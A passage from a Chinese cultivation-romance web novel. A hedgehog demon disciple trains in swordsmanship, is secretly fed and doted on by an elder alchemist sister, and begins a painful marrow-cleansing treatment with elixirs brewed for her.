裴依宁指腹在杯沿上划过, 声音淡得风一吹就消散地无影无踪:“你叫我师姐就好, 无论是从入宗时间还是从资历来看, 你都应该这么叫我。” 云榆:“……”陷注负 没关系,白吃了一顿饭, 叫一声师姐不算吃亏。 她咬牙切齿地笑出声, 干巴巴地:“师姐。” 裴依宁点头,从空间储物中摸出一样东西:“既然你叫我声师姐, 这样东西送你,算是师姐的一点心意。” 云榆定睛一看,是一幅手套,很薄的两片,颜色与肤色齐平。 效果应该和出宗任务前宁依给的那套防御衣效果差不多。 云榆身体往后一缩:“我不要。” 裴依宁又抿了口茶水,喉咙不明显地滚动下,指尖按在手套上,往云榆身前一推:“手再磨成那个样子,以后怎么握剑?” 云榆被哽了下:“那两瓶药效果很好,我每次练完会涂的。” 忽而想起上次宁依被她的刺扎到手伤,当时宁依怎么没涂这个药,莫不是这两瓶药是宁依的压箱底,即使自己受伤了都舍不得用。 如果真的是这样,宁依的性子有点好的过头了,自己舍不得用的东西,就这么给了并不相熟的人形的她。 良心骤然不安,云榆试探地问:“那两瓶药是你炼制的吗?” 只一眼,裴依宁便大致猜出她心中所想,弯唇,没回答是与不是,只说:“是昨日纳兰师妹给我的。” 这样时间就对上了,昨天给的话,宁依手伤期间自是不可能用上。 但还是太珍贵了,她打算将两瓶药还给宁依。 不料,裴依宁的声音再度传来:“纳兰师妹总共给了我十瓶,那两瓶你收好。” 云榆又一次被哽住:“好……” 至于小刺猬不肯收的手套,裴依宁眸色微暗:“这我用不着,正好你留着用。”杯中茶水温凉,她起身,“我还有事,剑法阁下午的修炼时间也要到了,就不打扰你了。” 云榆:“哎……” 裴依宁顿步,扭头,眼底疑惑:“云师妹还有事吗?” 云师妹。 叫得真顺口。 初见宁依时,对方喊她一声师姐,她都不好意思,结果宁依却这么大喇喇地又是让她喊师姐,又是喊她师妹的。 一点不见她当初的羞涩。 这怎么不算是青出于蓝而胜于蓝呢。 云榆:“没事,”她有心提高音量,将字音咬得极重:“师姐慢走。” 裴依宁因这句话心情阴转晴,轻笑出声:“好,师妹好好修炼。” 刚出云榆洞府,那根收藏的刺登时发起了热。 是小刺猬约她今晚见面。 裴依宁转头看了眼紧闭的洞府大门,眼底笑意凝成实质,却又在下一秒转为清淡的失落和不安。 那副手套终究是被云榆带上了,然而午后顶着太阳刚搬了一轮,那手套就被去了下来。 手感不对。 虽然宁依给的手套轻薄到几乎察觉不到存在感,但搬起石头走动时,那种不适应感越发强烈。 尤其是当杜寻雁用剑柄挑起她的手腕看了几秒,更让她有种偷懒被抓包的错觉。 然,杜寻雁只是惊奇她当时磨破了那么多水泡,今日下午竟然还能像没事人一样,一言不发地继续。 在云榆脱下手套后,杜寻雁看清了云榆此刻手的状况,掌心干干净净,除去指节处长久握剑磨出的茧外,竟无一个水泡。 杜寻雁垂头凑近了几分:“你用了什么药,效果这么好?” 比她的那瓶药膏效果还要好。 云榆取出裴依宁给的两瓶药,道:“这个啊,就是上午给师姐看的。” 师姐。 果然,叫正版师姐和盗版师姐感觉都不一样。她叫杜寻雁师姐时,毫无反应,只觉得正常。叫宁依师姐时,全身上下都写满了不自在。 那瓶药粉看不出品阶,但当杜寻雁打开那瓶丹药时,浓郁的药香四散而出。在征得云榆同意后,她倒出一枚。 浑圆精致,一眼便知品阶不低。 她将丹药举起,眼底有蓝色的灵光浮现。 丹药表面一个小小的“裴”字落入眼中。 这瓶丹药出自裴师姐之手。 裴师姐炼制的丹药怎么会出现在云榆手中。 她记得裴师姐刚出关不久。 杜寻雁将丹药放回瓶中,递还给云榆:“这药不错,收好。” 云榆问:“杜师姐,这丹药品阶是不是很高?” 她只能看出品阶不低,但具体几何,她是半点看不出来。 杜寻雁点点头:“这瓶丹药出自裴师姐之手,你是如何得到的。” 裴师姐,又听见了这个师姐的名号。 云榆简单道:“一位朋友给的。” 她自不会将宁依供出来,但难免对这位鼎鼎有名的裴师姐生出好奇:“杜师姐知晓这位裴师姐吗?” 杜寻雁迟疑地点过头:“我与裴师姐有过几面之缘,也曾说过话。但了解不深,只知她常年守在灵丹堂中,甚少露面。” 她最近一次见到裴师姐,还是在数年前,她前往灵丹堂找纳兰然,碰巧那位裴师姐也在。 对方很温和地对她点个头,便是将注意力放于身前的药植中。 云榆了然,如此看来,宁依能得到这位裴师姐十瓶,想来是得到峰阁内师姐着重培养了。 下午运了两趟,掌心又被磨出了水泡,但相较于上午,云榆的速度有所提升,对这个重量也更为适应。 在杜寻雁的建议下,云榆换了块更重的。 当然,掌心的磨损更为严重。 直到结束完最后一趟,云榆汗湿的衣衫黏在后边,发丝一缕缕地结在一起。 应滟和卞凝一如既往地守在她身边。 “杜师姐。” 杜寻雁走来。 云榆急忙起身,被杜寻雁一剑按了回去,她半蹲下身,剑柄翻转,顺着云榆的手腕绕到手背,随后一挑。 血与脓水交织在一起,看得杜寻雁直皱眉:“还能拿剑吗?” 云榆摸了把脸:“可以。” 太过狼狈了,杜寻雁给她使了个净身术:“跟我来。” 卞凝和应滟自觉找了个借口离开。 云榆跟在杜寻雁身后,快速吞下一枚宁依给的丹药。 至于药粉,她不知道杜寻雁带她做什么,但刚刚杜师姐提及能否拿剑一事,大概率是与握剑相关。 未免粉末到处乱飞,浪费了功效,她没有撒。 杜寻雁扔给她一柄铁剑,云榆抬手握住。 冰冷的剑柄刺激到伤口,云榆打了个寒颤。 杜寻雁轻轻叹了口气,对面前的人略微点头:“可以了吗?” 云榆握紧剑柄:“可以了。” 虽然还是不知道师姐要做什么。 “让我看看在实际对战中,你对剑招的掌握情况。”杜寻雁提剑。 剑未出鞘。 是要在实际对战中和教导她,云榆眼中一亮。 她摆出姿势,五指收拢,过往学习的剑招在她脑海中自动浮现,一招一式清晰而深刻。 她提剑猛地刺过去,被面前人轻而易举躲过,随后云榆横剑而扫,在杜寻雁倒退时,又上挑中刺,直逼杜寻雁面门而去。 剑体与剑鞘碰撞,震得云榆手臂发麻,血淋淋的掌心登时一疼,她脸色一白,并不后退,反而蹬上脚步的碎石,借力翻身一跃,在与杜寻雁形成一条直线时,双掌握剑,剑尖直下。 杜寻雁扬头,侧身,挥剑一挡的同时,用力拍过剑身。 云榆脚尖落地,反应不及,竟是直接被弹开,向后倒飞。 铁剑脱手,斜斜地插入地面。 杜寻雁抬手,灵力涌动,稳稳接住云榆。 “还不错。”杜寻雁走过去,看向插在不远处的铁剑,“你对自己认知很清晰,的确气力不足。” 她话音一转:“你是妖族中人,按理来说不应该存在气力不足的问题。” 云榆猛地抬眼。 杜寻雁收起那柄铁剑:“阁主同我说的。” 云榆垂目。 妖族之人向来力大无穷,像云榆这样的,她还没曾见过。 那么便是小时候未能引导和锻炼,或许还有别的原因,杜寻雁无意往师妹伤口中戳。 她拍拍云榆的肩膀:“你天赋很高,悟性也不错,不然我今日也不会特意留下你与你说这些。” “妖族自我修复能力强大。”杜寻雁道,“但你体质稍差,明日我可以去灵丹堂为你寻洗髓液。” 她顿了下:“但锻体的疼会比你现在用磨破了的手与我比试要疼上许多,你可以选择要不要锻体。” 掌心尚有知觉,密密麻麻的疼痛在神经中穿梭游走,在大脑中得到反馈。云榆咽住喉咙,低声道:“我不怕疼。” 杜寻雁释然轻松:“好,洗髓需要多日,明天白日你好好休息,处理未完的事物,子时我在此地等你。” 云榆:“是,师姐。” * 回到洞府,云榆先是将自己的手涂上药粉,等半个时辰,伤口恢复如初后,洗漱干净,化作小刺猬,前去赴约。 膳食堂内满是暗色,小刺猬小心翼翼地掀开木窗,探出小脑袋左瞧右瞧,未看见宁依的身影。 还好,今晚来得比宁依早。 小刺猬翻窗进入,正要往下跳时,灵光一闪,索性直接坐在窗台上,下肢两条短小的爪子交叠在一起。 但她发现交叠在一起的下肢看上去有些奇怪,而且很费力的感觉。 小刺猬:“……” 她换了个姿势,势必摆出一副有压迫感的样子,让宁依为她的所作所为付出代价。 小刺猬磨牙,等会也要让宁依叫她一声师姐听听。 膳食堂的门被推开。 小刺猬身体条件反射地一缩,往下跳,要躲。 裴依宁端着一盏烛台从外走入,反手关了门将夜色阻隔在外:“星星?”她走近,小刺猬不知怎么,四仰八叉地躺在木窗下的长桌上,“你在做什么?” 不小心滑倒的小刺猬翻身起来,面无表情地笑:“我锻炼。” 裴依宁:“……好。” 小刺猬跳起,裴依宁已经放下烛台去准备今晚的餐食了。 小刺猬几个蹦跳落在裴依宁眼前,双爪环抱,小脑袋偏着扬起,看上去好不威风。 当然,是小刺猬自我想象的威风。 裴依宁不解地望着挡住她动作的小刺猬,俯身弯腰:“怎么了,星星?今晚是有什么特别想吃的吗?” 提到吃的,云榆神色变了下,但今晚的主要目的还没望,她咽了下口水,气势汹汹地:“等会再做饭,你先坐下。” 裴依宁老实听话。 云榆坐在桌沿边,下肢双爪悬空,下肢双爪保持环抱的姿态,她盯着裴依宁的眼睛:“你……” 她卡壳了。 她怎么忘记了,宁依面对的是人形的她,在宁依的认知中,今日所听所言都不会面前的小刺猬知道。 该怎么说。 她竟然忽略了这点。 小刺猬脸上的表情一瞬间变得精彩而空洞,那种漆黑的瞳孔中更是满满的茫然。 裴依宁不由得弯唇,歪头疑惑:“怎么了,星星?” 怎么了,星星。 短短时间内,小刺猬听到了两遍。 “就……”小刺猬痛苦地闭上眼睛,“你叫我声师姐听听。” 算了,先把被占的便宜要回来再说。 裴依宁有了计较,只觉好笑,从善如流:“星星师姐。” 叫得这么顺口。 小刺猬:“再叫一声。” 裴依宁:“师姐。” 小刺猬很受用,但这不是重点,重点是引出她下面的话。 小刺猬清咳两声,装作无意地问:“你会让资历比你深的人,叫你师姐吗?” 裴依宁轻轻往后一靠:“会。” 呦,还怪诚实。 裴依宁见小刺猬不知怎么说了,递了个台阶下去,主动提及白日的事情:“譬如今日,我就主动让人叫我师姐了。” 呦,还挺主动。 小刺猬道:“你这样的行为,若是被发现了,是会被指责的。” 轻飘飘,毫无威慑力的一句话。 裴依宁配合地:“嗯,我以后不会了。” 小刺猬见初有成效,又觉宁依心性本就好,更说不出重话。 原先想着今晚要好好教育一下,真到这个时候,她却教育不出口了。 她本就不是能教人成长的小刺猬。 算了,宁依认识到错就行。 小刺猬道:“知错能改,很不错了。” 裴依宁温声反驳:“可是,我并不觉得我有做错。”她好以整暇地看着小刺猬猝然不可置信的目光投射过来,她慢悠悠地笑,“星星不知道事情的经过,怎么知道我是错的。” 小刺猬:“……” 她怎么不知道宁依什么时候这么能说会道了。 小刺猬咬牙,心道:我就是当事人,我当然知道事情经过。 可是她不能说,她要捂住她的小身份。 裴依宁一步步引导她:“还是说,有人同星星说起这件事了,亦或者是星星看见了?” 裴依宁指尖轻颤,期待而惶恐。 小刺猬什么时候才会告诉她人形的样子。 月色入户,柔和的月光钻入其中,朦朦胧胧地覆盖在地。 裴依宁舌尖顶在上颚,静待小刺猬的答案。 “我当然不可能看见。”小刺猬组织语言,“我只是今天路过,无意中听有人提及灵丹堂今日有人过来了。” 她摸摸鼻子:“我就是怕你跟我久了,会变得不正经,被我带坏。”说完,小刺猬重重点了下头,“就是这样,我不想带坏你,懂吧。” 裴依宁:“不太懂,星星有教过我什么不好的东西吗?” 小刺猬:“……一个简单的假设而已。” 她发现她根本说不过宁依。 裴依宁莞尔,清洗食材:“好,这个假设不成立。”挑开黏在唇边的发丝,“星星,去我那里吧。” 小刺猬稀里糊涂地被裴依宁带回洞府中,等她思考完今晚和宁依的对话,已经端端正正地坐在了裴依宁的床榻上。 再一抬眼,裴依宁正在切食材。 看样子是根胡萝卜。 “以后都约在我这里吧。”裴依宁换了把刀切了只苹果,装入盘中,插上两支竹签。 她端了张小桌子到床榻边,手一松,装满苹果切块的碗放入其上:“先吃点水果。” 小刺猬被喂了块。 裴依宁插了块填入口中:“我先去做菜。” 不对劲,太不对劲了。 完全不对劲。 跟她预想的一点都不一样。 云小刺猬呆呆地望着认真做菜的女人,精致流畅的侧脸倒映在她的瞳孔中,她张口咬下苹果的一边。 嗯,很甜。 裴依宁炒完一道菜,回眸,却见小刺猬一边咬着苹果块一边一瞬不瞬地盯着自己看。 在自己看过去时,小刺猬欲盖弥彰地转过头,像是不曾注意到这边的人一样。 裴依宁无声笑笑,开始做下一道菜。 感知到身后的目光再度聚集,裴依宁切菜的手慢了拍。 碗中的苹果块吃完,小刺猬再去插时,空空如也。 她顺爪将竹签放入碗中,两只爪子支撑起下巴。 现在的宁依给她一种与白日截然不同的感觉。 人形与宁依遇上时,对方虽还是这个样子,可无形中却又种让她不得不听命的压迫,但刺猬形时,宁依总是温柔有礼。 无端让人亲近。 许是刺猬形的她与宁依过熟了。 小刺猬找到了合理的解释。 一顿饭做好,宁依将饭菜端上桌。 小刺猬闻见饭菜香,直直地从床榻上蹦起,下肢一个奋力,往前一跳,中途借力于椅子,稳稳落在饭桌前。 看清桌上的一荤一素一汤,小刺猬道:“我去洗个爪子。” 裴依宁无奈地捏起小刺猬,带着到水盆边。 小刺猬边洗手边控诉:“你这样让我很没有面子。” 裴依宁思索片刻,胳膊往前一伸,小刺猬爬到她的手臂,嘴中哼哼唧唧:“这还差不多。” 好幼稚的小刺猬。 裴依宁无奈。 注意到小刺猬洗手的时候,手上无伤,裴依宁心情勉强好了些。 白日看见小刺猬的手成那副模样,她全然没了见到小刺猬人形的喜悦,沉着的脸也没有说笑的心思。 现在好多了。 她被小刺猬夹了一筷子菜到碗中,贴心地问:“需要我喂你吗?” 搬了那么多趟石块,又与杜师姐比试了场,手臂的确很酸很累。 变成小刺猬后,同样的人提及同样的话,小刺猬不仅不觉得不好意思,反而很认真地问:“可以吗?” 裴依宁弯唇:“小跟班很乐意效劳。” 她捏起小刺猬的勺子,夹了菜放上去:“尝尝这个。” 小刺猬张嘴,咬着勺子,头微扬起,勺子中的食物尽数没入口腔。 鼻尖挂住一粒米饭,裴依宁曲指勾走:“好吃吗?” 小刺猬:“好吃,渴了,想喝汤。” 裴依宁盛了碗汤放旁边:“凉凉再喝,”她像是在劝小朋友,“尝尝胡萝卜,好不好?” 小刺猬:“好。” 饭吃到一半,小刺猬想到杜寻雁说的洗髓需要数日,她咽下食物,提前和人招呼:“宁依,我可能有好多天不能和你约了。” 裴依宁端起温热的汤,舀了勺靠近唇边,感知温度。 她换了把勺子喂小刺猬:“怎么了?” 小刺猬自不会说要去洗髓,太容易被发现确定身份,她找了个借口:“听说剑法阁有位厨艺不错的,我去尝几顿。” “几顿?”勺子与瓷碗碰撞,清脆的声响打破空间的静谧,裴依宁平声问:“多好的厨艺能得星星青睐至此?” 作者有话说: 裴师姐:具体几顿? 星星:…… 我明天一定准时九点!!! 本章掉落红包 第28章 第二十八章[VIP] 小刺猬忽觉气氛不对, 爪子不安地缩在小肚子上,她唇边的毛发上沾有一丝油点,坠在尾端。 裴依宁指腹轻柔的擦过小刺猬的唇瓣,纤长的手指顺势点在面前小动物的脸颊, 她微微一笑, 一如往日温柔和煦,仿佛刚才的冷凝只是错觉。 小刺猬挠着后脑, 支支吾吾地:“我也不确定几顿, 好吃,就多吃几顿, 不好吃,就少吃几顿。” 裴依宁捻起勺子, 在汤碗中缓缓搅动,舀起一勺递至小刺猬的唇边,漫不经心地问:“星星是觉得我厨艺不好吗?” 小刺猬刚张开准备喝汤的嘴往后一退,双爪快速摆动,脑袋摇得跟个拨浪鼓似的:“宁依的厨艺很好。” 裴依宁淡笑不语, 只一味地将勺子喂进小刺猬口中, 等小刺猬咽下去, 才慢慢悠悠, 语意不明地问:“若是那人厨艺很合星星的胃口, 星星是否还要收她为跟班呢?” 她眯起眼睛, 指骨不自觉地攥紧勺子。 小刺猬是会用人形还是刺猬形去品尝那人的手艺? 若是用人形,星星都还没有主动告诉她人形是什么样。 若是用刺猬形, 原来星星还会用本体去见别的人。 裴依宁舌尖顶在上颚。 小刺猬诧异地望着裴依宁:“我为什么要再收别的跟班, 只收你一个就够了。” 再迟钝的小刺猬也察觉出面前女人这几番话的意味,补充道:“外面人做的再好吃也不及宁依做的好。” 可惜不能告诉宁依她具体要做什么, 小刺猬拉过宁依的手指,小爪子勾住宁依的小指,认真地说:“真的。” 裴依宁挑眉,唇边凝固的笑意重新绽放开,她抽回手指,重新捻住勺子,舀汤喂小刺猬:“嗯,我知道。” 吃饱喝足的小刺猬毫无形象地倒在桌面上,侧身看在一旁收拾的人。 裴依宁背对着她,阴影将她整个人覆盖,小刺猬圆溜溜的眼睛转动几下,从桌面上爬起,摸了摸自己的小肚子。 小爪子悄悄往前伸了几下,勾住盛放水果的小盘子,身体随之往前挪动。 捏起两粒蓝莓往嘴里塞,再若无其事地转到桌子的另一边躺着。 等裴依宁回来,小刺猬抬起上半身,指了指不远处的水果碗,提要求:“宁依,想吃水果。” 裴依宁坐在小刺猬躺着的这边,闻言起身拿过水果碗,捏出一粒蓝莓抵在小刺猬唇边。 小刺猬扭头。 裴依宁:“嗯?” 小刺猬头扭了回来,启唇咬住蓝莓,含着,含糊不清地说:“不想吃这个了。” 裴依宁微微蹙眉,但小刺猬刚刚的确指的是这个水果碗,言下之意就是要吃水果,怎么拿过来又不吃了。 她垂下眼眸,眼角的余光瞥见小刺猬略显红润的耳朵。 略一思索,裴依宁大概猜到了,许是小刺猬不想吃蓝莓,又不好直说,只能用这种方式。 有点可爱了。 裴依宁有意逗弄她:“星星想吃什么呢?” 小刺猬舔唇,耳朵更红了,悄悄抬起头:“想吃刚刚的灵果。” 裴依宁弯唇,灵识在空间储物中探查过,里面还有两颗灵果。 她取出,捏了捏小刺猬的脸颊:“星星稍等片刻。” 裴依宁去给她切水果块。 小刺猬被满足到,翻了个身,缩成一团趴在桌面上,等某位小跟班伺候。 她怎么可能还会收别的小跟班,其她小跟班会像宁依这般任劳任怨吗? 宁依除了有的时候会骗人外,没有一点缺点。 但宁依不会骗刺猬啊。 一盘切好的水果块递到面前,小刺猬平躺着张开嘴,意味性过于明显了。 是要人喂她。 裴依宁有一瞬间想问“中午都不让喂,怎么现在这么主动求喂”。 她插起竹签:“大小合适吗?” 小刺猬:“可以。” 裴依宁:“今晚留在我这睡?” 小刺猬想了片刻,点头:“好。” 一夜无梦。 待到第二日晨光升起,小刺猬懒洋洋地翻个身,意识还未恢复,只当是在自己的地盘,缩成球在床上滚动几圈。 在被一柔软物挡住,小刺猬疑惑地伸出爪子,往后一摸。 软软的,温温的,不像死物。 是活物,她的床上除了她竟然还有别的活物。 小刺猬猛地睁开眼睛,全身的刺竖起来。 下一秒,四目相对,漆黑的瞳孔对上女人温婉的眸光,刚竖起的刺齐刷刷地顺下去。 差点忘了,她昨晚留宿在宁依这了。 小刺猬抬爪:“早上好,宁依。” 裴依宁戳戳小刺猬的刺,温声:“早上好,星星。”停了几秒,“还睡吗?” 昨晚两人洗漱完就睡了,眼下睡眠充足,小刺猬打了个哈欠,有气无力地往裴依宁身边挤,避开周身的刺,肚皮贴住裴依宁的手臂,双爪径直抱住女人。 裴依宁身体一僵。 小刺猬熟稔地蹭了两下,有气无力道:“宁依,你身上好香啊。” 裴依宁指骨绷紧,生怕下一刻,小刺猬变成人形,如这般紧紧贴着她。 好在,现在的小刺猬意识清醒,断然不会出现上次的情况。 小刺猬鼻尖凑近嗅了些:“有点像是药香,很好闻。” 小刺猬说完,便是自觉往后退去,和裴依宁拉开距离,刚才的举动宛若无意,只是想确定裴依宁身上的是什么香般。 她高高举起小爪子,伸了个懒腰,身体在被子中一扭一扭的,清醒活动。 “是吗?”裴依宁后知后觉地回答小刺猬的话,“我闻不到,兴许是药香吧。” 小刺猬提起小爪子:“可能闻习惯了,所以闻不到自己身上的气味,宁依闻闻我身上有没有什么气味。” 小爪子过于短了,裴依宁拉住小刺猬的爪子,往上抬起,身体弯曲,低头,鼻尖与爪背隔着一公分的距离。 几乎要挨在一起。 小刺猬只觉爪背有阵阵温热的气息袭来,她瑟缩着想躲,却被裴依宁牵住。 “闻出来了吗?”小刺猬不自在地问。 裴依宁松开她:“没有味道。” 但她记得小刺猬人形时,身上明明有种很淡的甜香。 刺猬形时,这种甜香不见了。 小刺猬狐疑地嗅嗅,沮丧地低下头,眉宇间皱成一团:“好吧,我还以为我身上也有什么我闻不到的气息呢。” 裴依宁莞尔。 午后,小刺猬在裴依宁这吃过一顿午饭,又被投喂了一盒水果带回去吃。 对此,小刺猬表示很受用,临走前,她学着裴依宁惯常戳她的模样,戳了戳裴依宁的脸颊:“下次见。” 一想到小刺猬因为要去品尝别人的手艺而与她几日不能相见,裴依宁本被哄好的脸色微微阴沉了些。 她“嗯”了声:“下次见。” 目送小刺猬离开,裴依宁闭目,轻触先前被小刺猬抱住的地方。 她倒不至于对小刺猬的本体产生不该有的想法。 只是眼一闭,总是会不受控制的想到云榆的那张脸,想到那日突然变成人形的云榆抱住她,在她脖颈边轻蹭摩挲。 她轻叹声,那种无法言明的情绪将她团团包裹,她不知道这种情绪究竟是什么,又代表着什么。 她只知道,她并不反感这种情绪,任由这种情绪蔓延滋长。 在原地坐了会,裴依宁起身前往灵丹堂。 灵丹堂内,纳兰然无可奈何地望着在这磨了她许久的人:“杜师姐,目前只有四品的洗髓液,再高品阶的,需要找人炼制,没有数个时辰根本无法炼制出来。”她掀起眼皮,“而且这还不算上炼制失败所耗费的时间。” 她一炷香前被杜寻雁传音叫了出来,本以为要与她说些什么,不想一见面,杜寻雁张口就是要洗髓液。 一般的洗髓液也就罢了,可偏偏是妖族人使用的洗髓液。 灵丹堂内极少会存有妖族人使用的洗髓液。 更何况杜寻雁张口就是六品的洗髓液,只能现场炼制。 纳兰然挑选着炼制洗髓液所需的材料,道:“杜师姐,明日一早,你再来我这取,或是我给你送去,都行,但今晚,真的给不了你。” 已经答应师妹今晚子时见,为对方洗髓,她自然不能失约,不然太有损她的颜面了。 杜寻雁跟在纳兰然身后,眼巴巴地扯住对方的束带,此刻毫无师姐的架子,软和地恳求:“纳兰师妹,我们多少年的交情。你还记得那年,你我外出历练……” 一段忆往昔岁月的话从杜寻雁口中吐出。 这些话纳兰然听过数遍,每每杜寻雁有求于她时,都会以此开头。 这人平日指导人时严厉的不行,私下却又活泼开朗的像个小孩子。 纳兰然实在拿她没办法。 她倒了半瓶灵液至药瓶中,晃动几下,勾住杜寻雁的手,扯出束带:“杜师姐,我才刚刚成为六品炼药师。”想到什么,她推荐,“杜师姐,你可以去找裴师姐,说不定她会同意为你炼制。” 杜师姐气息萎靡:“你以为我不想吗?找其她人还要走流程,再算上炼制的时间,没个数日根本下不来。况且我与裴师姐半分不熟……” 她叹息:“我等你明早的吧。” 算了,等会回去同云榆说一声,明日再洗髓。 “等明早的什么?” 一道声音自身后传来。 杜寻雁回头,只见裴依宁站在她身后两步远。 女人脚步微顿,眼一抬:“杜师妹?” 杜寻雁尴尬地“啊”了声,有种说人坏话被正主抓到的错觉。 纳兰然走前半步,替她说:“裴师姐,是这样的,杜师姐想要寻一瓶六品洗髓液,但峰阁内暂时没有适用于妖族的,不知裴师姐是否有时间?” 她说得委婉,裴依宁听得明白。 “妖族?”裴依宁呢喃,她莫名想起了小刺猬,“可以,杜师妹什么时候需要?” 杜寻雁受宠若惊:“今晚可以吗?” “一个时辰后,我让人送于你。”裴依宁接过纳兰然手中的药瓶和药材,突然开口,“杜师妹,剑法阁这段时间的伙食如何?可有什么手艺出众的人?” 作者有话说: 今晚准时啦 第29章 第二十九章[VIP] 剑法阁的伙食在各大峰阁中是出了名的简陋, 一方面是剑法阁弟子众多,实在拿不出过多的灵石在吃上面,另一方面,修炼之人少有注重口腹之欲的。 对于裴师姐的提问, 杜寻雁垂目思考了会, 不确定地说:“这个我不太清楚,裴师姐有什么需要吗?” 毕竟不是每一位同门她都熟悉, 尤其是厨艺这种与修炼无关的事, 她更是少打听:“我回去后到峰阁内问问。” 裴依宁提起药瓶,将其中一株药植放下, 转而选取了它旁边药盒中的一株。纳兰然瞧见,心知刚才取错, 有心往新药株那看了几眼,默默记下。 “不用。”裴依宁声线不变,晃动药瓶听里面灵液的声响,状似无意地问,“怎么突然要妖族的洗髓液了?” 小刺猬是妖族中人, 她止不住想多问两句, 但又不能被身边这两人听出, 只能尽量委婉地问。 杜寻雁不疑有她, 直白道:“峰阁内有位妖族中人, 体质稍弱, 不似其她人肉身强悍,正打算为她洗髓, 看能否有所帮助。” 裴依宁道:“那便多炼制几瓶, 剑法阁有几位妖族中人,我一并炼制便是。” 杜寻雁双手摆摆, 忙声道:“只一位妖族中人,一瓶足矣。” 裴依宁眉梢半挑。 一位妖族中人。 一位。 那便只有小刺猬了。 所以小刺猬不是要去品尝别人的手艺,而是因为要洗髓,几日无法相见,所以编造出这种理由。 裴依宁心情甚好,这种好心情连一向少见她的杜寻雁都能察觉出来。 杜寻雁疑惑地与纳兰然对视一眼,后者无声对她摇摇头。 裴依宁进入了炼丹房。 等人走后,杜寻雁凑近纳兰然:“裴师姐这次遇到什么好事了?” 纳兰然瞥了她眼,斜斜地往旁边一跨,捡起被裴依宁放下的药株,又从旁拿起一株,两株放在一起对比。 半晌后,她放下,歪头道:“杜师姐是在这等着,还是到时我给你送去?” 杜寻雁今日无事,索性就在这待着了。 一个时辰后,炼丹房门被推开,裴依宁拿着三瓶外观一模一样的药瓶出现。 杜寻雁与纳兰然说笑着,见她出来,两人自觉噤声,杜寻雁更是直直地应上了裴依宁:“裴师姐。” 她目光落在裴依宁手中的三瓶药瓶上:“这些?” 裴依宁略一点头,淡声道:“这瓶是五品洗髓液,这瓶是六品,至于这瓶,”她提起最右边的那瓶,顿了顿,“是七品洗髓液。” 杜寻雁微微张口:“七品?” 纳兰然则是惊讶于短短一个时辰的功夫,裴依宁竟然炼制出了三瓶洗髓液,其中一瓶还是七品的。 她不禁拐一下毫无动静的杜寻雁,后者回神,接过放入空间储物中。 纳兰然:“……” 她还想看看那瓶七品洗髓液,想从中学习一二,结果杜师姐就这般径直收入了空间储物中。 裴依宁道:“你适才说那妖族之人体质较差,直接用六品洗髓液,她许是经受不了,先用五品,待到适应后再用六品。” 杜寻雁认真听着,提问:“裴师姐,那七品洗髓液呢?” 裴师姐总不能无缘无故炼制出来,总是有用的,但她不是丹修,只知云榆需要洗髓液洗髓,六品是过往妖族一惯使用的,但她竟然忽略了云榆体质本弱,可能经不住这点。 好在她提了一嘴,加之裴师姐心细,提前炼制了五品洗髓液。 裴依宁望向殿外,不时有灵丹堂的弟子经过,她道:“七品洗髓液,用不用由那位妖族人自行决定。” 对于修炼之人来说,能承受的洗髓液品阶越高越好,云榆第一次定然是用五品,而后递进到六品,若是能承受住七品,将最大程度改善小刺猬的体质。 她记得她之前为云榆查看身体时,只知对方身体健康,没有深度探查别的。如今想来,竟是疏忽了。 她应该提前想到以小刺猬的情况,根本不可能洗过髓。 裴依宁略显烦躁,面上还是温和模样:“杜师妹打算何时为其洗髓。” 问得有些多了,杜寻雁眨眨眼:“今晚子时。” 裴依宁点头:“若是有什么情况,可直接传音给我。”她背过身,往丹方室去,“毕竟这三瓶由我亲自炼制,我需得对洗髓那位负责。” 丹方室门闭合,连带裴依宁的身形彻底消失在两人面前。 杜寻雁赞赏:“裴师姐竟对经手的东西如此负责,我原先还担心打扰她,有她这话,我便可直接传音给她了。” 纳兰然与裴依宁是同峰阁的,或多或少对对方的脾性稍有了解,在她印象中,裴师姐从未对自身炼制出的丹药如此上心。 更别说特意嘱咐。 不像杜寻雁的大大咧咧,纳兰然心细如丝,她拉住杜寻雁的衣袖往外走。 杜寻雁不知她是何意,跟了几步:“怎么了,纳兰?” 出了殿门,往左边一拐,进入偏殿,将杜寻雁带入临时休息之所,确定内里无第三个人后,纳兰然问:“这次洗髓的妖族可是某位师姐?” 杜寻雁奇怪地看她一眼:“什么师姐?” 也是,若是资历比她高的,应当早已经洗过髓了。 那就只能是某位师妹。但如果是这样,裴师姐怎么会对一位师妹这般上心。 对杜寻雁无需隐瞒,她直白道:“不管发生什么,今夜洗髓那人出现半分差错,立刻传音给裴师姐。” 杜寻雁不傻,纳兰然明说到这个程度,她也绕了过多。 又猛地想起云榆手中那瓶出自裴师姐之手的丹药。 当时她不曾多想,但串联起来,她不免惊讶:“你是说裴师姐与那妖族之人认识?”但很快她蹙眉道,“不管认不认识,加一层保险是好的。” 有裴师姐坐镇,她无需担心别的。 不曾想,两人前脚踏出临时休息之所,杜寻雁后脚就收到了裴依宁的传音:【为免意外,今夜我会前往剑法阁,在那位妖族人洗髓之地外守着。杜师妹有事可随时唤我。】 杜寻雁:“……” 刚被纳兰然点过,裴师姐的传音就来了,再一结合话语,纵使她再神经大条,也不难看出其中的一二渊源。 但这些私事与她无关,她自不会多言。 * 入夜,云榆提前两柱香的时间赶到和杜寻雁约定的时间。 本以为来得够早了,却不料刚到地方,就见师姐坐在一块平整的石块上,一条腿伸直,另一条腿曲起,扬头数天上的繁星。 听闻脚步声,杜寻雁往前看,笑道:“怎么来这么早。” 云榆走过去,坐在杜寻雁身边。 晚风吹过,不教导修炼时的杜师姐宛若换了个人,白日有多严厉,此刻就有多放松。 云榆道:“杜师姐来得更早,是在这数星星吗?数到多少颗了?” 故作沉稳了那么久,杜寻雁终是忍不住哈哈大笑,大力拍了两下云榆的肩膀,借力起身,反手又将刚坐下的人拉起。 她从空间储物中取出五品洗髓液:“既然来这么早,我们就早点开始洗髓,走吧。” 云榆一听,登时紧张许多,在她过往岁月中,不曾听说过洗髓之事,今日恶补了有关知识。 只知洗髓有助于加强体质,可以洗去体内的杂质,对未来修炼极好。 但同样的,洗髓很痛。 这点被云榆自觉忽略,再疼又能疼到什么地步,总不至于要了她的命。 但当她褪去衣物,迈入放了洗髓液的水中,全身毛孔放大,宛若刀在身上一片片切割。 剧烈的疼痛从各个地方传来,青紫色的筋脉凸起,肌肤瞬间变得红紫一片。 云榆咬紧牙关,细长的手指按在桶的边缘,指骨绷紧,惨白一片。 这时,杜寻雁道声音自外传开:“云榆,入水了吗?” 